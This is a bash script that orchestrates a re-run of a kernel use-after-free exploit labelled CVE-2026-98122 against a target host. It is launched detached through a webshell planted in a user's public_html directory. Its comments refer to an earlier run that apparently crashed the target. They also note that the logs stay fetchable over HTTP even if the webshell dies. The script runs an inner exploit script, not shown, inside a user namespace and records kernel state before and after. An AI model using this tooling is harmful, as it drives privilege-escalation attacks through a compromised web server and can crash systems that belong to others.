#!/bin/bash
# ============================================================================
# CVE-2026-98122 re-run ORCHESTRATOR (heredoc-free redesign, intent #4381)
# ============================================================================
# Launch DETACHED via the webshell (returns instantly, survives webshell death):
#
#   setsid nohup bash /home/john/public_html/cve98122_outer.sh \
#       </dev/null >>/home/john/public_html/cve98122_launch.out 2>&1 &
#
# Optional zero-risk validation run (collects oracle answers, skips UAF fire):
#   DRY_RUN=1 setsid nohup bash /home/john/public_html/cve98122_outer.sh \
#       </dev/null >>/home/john/public_html/cve98122_launch.out 2>&1 &
#
# What it does:
#   1. Banks PRE-run state: uname, uptime, dmesg baseline, previous-boot
#      kernel log (journalctl -k -b -1: panic evidence from the FIRST run
#      that (probably) killed the target in intent #3941 - best-effort).
#   2. Runs the INNER script inside 'unshare -Urn' with a 300s timeout bound
#      (converts any userspace hang into diagnosable evidence instead of a
#      silent webshell wedge like the first run).
#   3. Banks POST-run state: uptime, dmesg tail.
# ALL output goes DIRECTLY to the log file on disk - never to the webshell's
# pipe - with sync after every stage, so evidence survives webshell death
# AND kernel panic. The log lives in public_html => also fetchable via plain
# HTTP GET even if the webshell itself is dead.
# ============================================================================

DIR=/home/john/public_html
LOG=$DIR/cve98122_run.log
INNER=$DIR/cve98122_inner.sh

exec >>"$LOG" 2>&1
ts() { date '+%F %T'; }

echo ""
echo "========================================================================="
echo "[$(ts)] ===== CVE-2026-98122 RE-RUN BEGIN (outer pid=$$, dry_run=${DRY_RUN:-0}) ====="
echo "========================================================================="
echo "[$(ts)] OUTER: uname: $(uname -a)"
echo "[$(ts)] OUTER: uptime: $(uptime)"
echo "[$(ts)] OUTER: dmesg baseline (current boot, last 5):"
dmesg 2>/dev/null | tail -5
echo "[$(ts)] OUTER: previous-boot kernel log (best-effort, last 15 - panic evidence?):"
journalctl -k -b -1 --no-pager -n 15 2>/dev/null
echo "[$(ts)] OUTER: boot list (best-effort, last 5):"
journalctl -k --list-boots 2>/dev/null | tail -5
sync

if [ ! -s "$INNER" ]; then
    echo "[$(ts)] OUTER: FATAL: inner script missing/empty at $INNER - deploy first!"
    exit 1
fi

echo "[$(ts)] OUTER: launching INNER (unshare -Urn, timeout 300) ..."
timeout 300 /usr/bin/unshare -Urn bash "$INNER" "$LOG"
IRC=$?
echo "[$(ts)] OUTER: INNER finished rc=$IRC"
echo "[$(ts)] OUTER: post-run uptime: $(uptime)"
echo "[$(ts)] OUTER: post-run dmesg tail (last 15):"
dmesg 2>/dev/null | tail -15
echo "[$(ts)] ===== CVE-2026-98122 RE-RUN END (inner rc=$IRC) ====="
sync
